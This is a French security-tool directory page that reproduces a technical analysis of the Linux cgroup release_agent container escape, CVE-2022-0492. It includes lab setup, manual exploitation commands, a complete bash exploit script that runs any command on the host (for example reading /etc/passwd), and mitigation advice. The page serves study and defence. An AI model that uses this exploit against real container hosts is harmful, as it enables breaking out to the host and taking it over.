Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-0492 — Analyse technique détaillée et exploit fonctionnel pour CVE-2022-0492 évasion de conteneur du noyau Linux via cgroup release_agent, avec configuration de laboratoire étape par étape et conseils d'atténuation. | Kitploit
Outils/GitHubGitHub/chenaotian/cve-2022-0492
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationÉvasion de ConteneurLabs et Pratique
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

Analyse technique détaillée et exploit fonctionnel pour CVE-2022-0492 évasion de conteneur du noyau Linux via cgroup release_agent, avec configuration de laboratoire étape par étape et conseils d'atténuation.

Voir le dépôt
3293il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-0492 Évasion de conteneur - Analyse

[toc]

Présentation de la vulnérabilité

Identifiant de la vulnérabilité : CVE-2022-0492

Produit vulnérable : linux kernel - cgroup

Versions concernées : ~linux kernel 5.17-rc3

Impact : lorsque le conteneur n'a pas de mesures de sécurité supplémentaires activées, obtenir les privilèges root dans le conteneur permet de s'échapper vers l'hôte.

Configuration de l'environnement

Utilisez Docker sur un Linux avec un noyau affecté par la vulnérabilité.

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Dans cet article, Docker est utilisé comme environnement expérimental.

Principe de la vulnérabilité et connaissances associées

La méthode d'exploitation de cette vulnérabilité est déjà bien connue, mais le point de vulnérabilité réside dans le manque de vérification des droits lors de la modification de release_agent de cgroup, ce qui abaisse encore le seuil d'exploitation (auparavant, il fallait la capacité CAP_SYS_ADMIN, cette vulnérabilité ne nécessite pas CAP_SYS_ADMIN). Les différences précises des conditions d'exploitation sont détaillées ci-dessous dans la section "Conditions d'exploitation".

Point de vulnérabilité

Analyse du correctif : le patch modifie la fonction cgroup_release_agent_write en y ajoutant une vérification d'identité. Cela signifie que le release_agent de cgroup n'est plus modifiable par des utilisateurs sans privilèges :

image-20220310201629995

La vulnérabilité est donc identifiée comme un contrôle d'accès défaillant.

Introduction à cgroup

cgroup (Control Group) est une fonctionnalité du noyau Linux permettant de limiter, contrôler et isoler les ressources d'un groupe de processus (CPU, mémoire, entrées/sorties disque, etc.).

Les sous-systèmes de cgroup sont :

  1. devices – permissions sur les périphériques pour les processus
  2. cpuset – affectation des CPU et des nœuds mémoire utilisables par les processus
  3. cpu – contrôle de l'utilisation du CPU
  4. cpuacct – statistiques d'utilisation du CPU (temps d'exécution, temps d'étranglement)
  5. memory – limite supérieure d'utilisation de la mémoire
  6. freezer – suspension des processus dans le cgroup
  7. net_cls – association avec tc (traffic controller) pour limiter la bande passante réseau
  8. net_prio – définition de la priorité du trafic réseau des processus
  9. huge_tlb – limitation de l'utilisation de HugeTLB
  10. perf_event – permet à l'outil Perf d'effectuer des mesures basées sur les groupes cgroup

Sur l'hôte, les cgroups se trouvent dans /sys/fs/cgroup. On peut voir les différents sous-systèmes :

image-20220311113636040

Dans Docker, le cgroup correspondant est un sous-nœud du cgroup de l'hôte. Affichage du cgroup memory dans Docker :

image-20220311113811776

Le nœud du conteneur correspondant dans le répertoire Docker de l'hôte est identique :

image-20220311113853019

Utilisation de cgroup

cgroup est utilisé via un système de fichiers. On monte cgroup avec mount dans un répertoire, et cgroup interagit via VFS (système de fichiers virtuel). Les interfaces de cgroup se présentent sous forme de fichiers, et on utilise les opérations sur les fichiers pour configurer les paramètres.

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

On peut créer des sous-nœuds cgroup en créant des sous-répertoires : mkdir /tmp/testcgroup/x.

release_agent

Chaque sous-système cgroup possède un paramètre notify_on_release, de type booléen (1 ou 0). Il active ou désactive l'exécution de la commande de libération. Si notify_on_release est activé (1), lorsque le cgroup ne contient plus aucune tâche (c'est-à-dire que le dernier processus du cgroup se termine, le fichier tasks du cgroup est vide), le noyau exécute le contenu du fichier spécifié par le paramètre release_agent. La valeur de notify_on_release se modifie en écrivant dans le fichier notify_on_release.

image-20220311114023546

La vulnérabilité se situe au niveau de la modification de release_agent : à l'origine, il suffisait de pouvoir manipuler cgroup pour modifier release_agent, et la capacité CAP_SYS_ADMIN était nécessaire pour utiliser cgroup. Mais des chercheurs ont découvert qu'en créant un nouveau namespace avec la commande unshare, on pouvait obtenir toutes les capacités, y compris CAP_SYS_ADMIN, supprimant ainsi la restriction et abaissant considérablement le seuil d'exploitation.

Commande unshare

La commande unshare permet d'annuler le partage d'espaces de noms spécifiques avec le processus parent, puis d'exécuter le programme spécifié dans le nouveau namespace créé. Ce qui est pertinent pour notre exploitation : le nouveau namespace créé par unshare possède toutes les capacités, y compris CAP_SYS_ADMIN.

image-20220311102635204

Exploitation de la vulnérabilité

L'exploitation de cette vulnérabilité est identique à la méthode traditionnelle d'évasion via CAP_SYS_ADMIN + cgroup release_agent, mais les conditions d'exploitation diffèrent.

Conditions d'exploitation

Différences avec les conditions d'exploitation traditionnelles de release_agent :

Méthode traditionnelle (release_agent) : le conteneur doit posséder CAP_SYS_ADMIN et ne pas avoir apparmor ou selinux activé.

CVE-2022-0492 : le conteneur est « nu » (plus précisément : seccomp ne désactive pas unshare, apparmor ne rend pas cgroup en lecture seule, selinux désactivé). Obtenir les privilèges root dans le conteneur. Pas besoin de CAP_SYS_ADMIN.

Il est à noter qu'apparmor dans Docker active par défaut la lecture seule pour cgroup, et que seccomp dans Docker désactive par défaut unshare pour les utilisateurs sans CAP_SYS_ADMIN. Kubernetes utilise généralement des conteneurs sans protection. En bref, l'exploitation étant assez simple, on peut tenter dans des scénarios concrets.

Après le correctif : d'après le code du patch :

image-20220310201629995

Pour modifier le fichier release_agent, deux conditions sont nécessaires :

  1. Être dans le namespace racine
  2. Posséder la capacité CAP_SYS_ADMIN

Ainsi, après le correctif, la capacité CAP_SYS_ADMIN obtenue via unshare ne permet plus de modifier release_agent, car le nouveau namespace créé par unshare n'est pas le namespace racine. En revanche, si le conteneur possède déjà la capacité CAP_SYS_ADMIN, cette méthode d'évasion reste possible.

Exploitation

Obtenir CAP_SYS_ADMIN

Si Docker est lancé avec le paramètre --cap-add=SYS_ADMIN ou --privileged (conteneur privilégié), le conteneur possède déjà CAP_SYS_ADMIN, ce qui évite une étape supplémentaire. Exemple de commande de lancement :

root@kitploit:~
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Un Docker avec CAP_SYS_ADMIN peut passer directement à l'étape "Modifier release_agent". Pour lancer un Docker sans CAP_SYS_ADMIN et reproduire la vulnérabilité :

root@kitploit:~
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

Sans CAP_SYS_ADMIN, on l'obtient via la commande unshare suivante :

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

Le nouveau namespace possède toutes les capacités.

image-20220311102635204

Monter cgroup et obtenir le chemin du conteneur sur l'hôte

Monter cgroup dans un répertoire. Cette étape nécessite CAP_SYS_ADMIN (car elle utilise mount). Après l'étape précédente, soit le conteneur possède déjà CAP_SYS_ADMIN, soit on l'a obtenu via unshare. De plus, nous devons créer un nœud cgroup dans le cgroup monté pour faciliter la suppression ultérieure des tâches :

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# Créer un sous-nœud dans /tmp/testcgroup
mkdir /tmp/testcgroup/x

Si memory ne peut pas être monté ou si release_agent est absent de memory, on peut utiliser un autre sous-système cgroup.

Le fichier /etc/mtab contient les informations du système de fichiers overlay Docker monté. upperdir correspond au chemin absolu du répertoire racine du conteneur sur l'hôte :

image-20220311104701790

On peut l'obtenir avec la commande suivante :

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

Modifier release_agent et déclencher l'évasion

Mettre notify_on_release à 1 pour activer l'exécution de release_agent lorsque toutes les tâches du cgroup sont terminées :

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

Créer le fichier à exécuter lors du déclenchement de release_agent :

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

Modifier release_agent en pointant vers le chemin du fichier cmd sur l'hôte (chemin obtenu précédemment) :

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

Ensuite, ajouter une tâche au nœud cgroup x en écrivant le PID du shell courant dans cgroup.procs :

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

La commande sh n'exécute qu'un seul echo, qui se termine instantanément. Ainsi, le nœud x ne contient plus aucune tâche, ce qui déclenche notify_on_release et exécute le fichier /cmd pointé par release_agent. Le noyau exécute la commande spécifiée en dehors du conteneur, réalisant l'évasion. Évasion réussie :

image-20220311110810458

Exploit (exp)

Un script d'exploitation basé sur le processus :

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

Exécutez directement en passant la commande que vous souhaitez exécuter après l'évasion comme argument, par exemple : ./exp.sh "cat /etc/passwd"

Évasion réussie :

image-20220311153511050

Mesures d'atténuation

Par défaut, Docker active seccomp et apparmor. La vulnérabilité ne peut pas s'échapper d'un conteneur qui applique les règles par défaut de seccomp et apparmor. Kubernetes n'a aucune mesure de sécurité par défaut ; il est nécessaire d'activer manuellement seccomp et apparmor ou selinux.

Références

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

En outre, des remerciements aux personnes ayant participé à la découverte de cette vulnérabilité.

Télécharger l’outil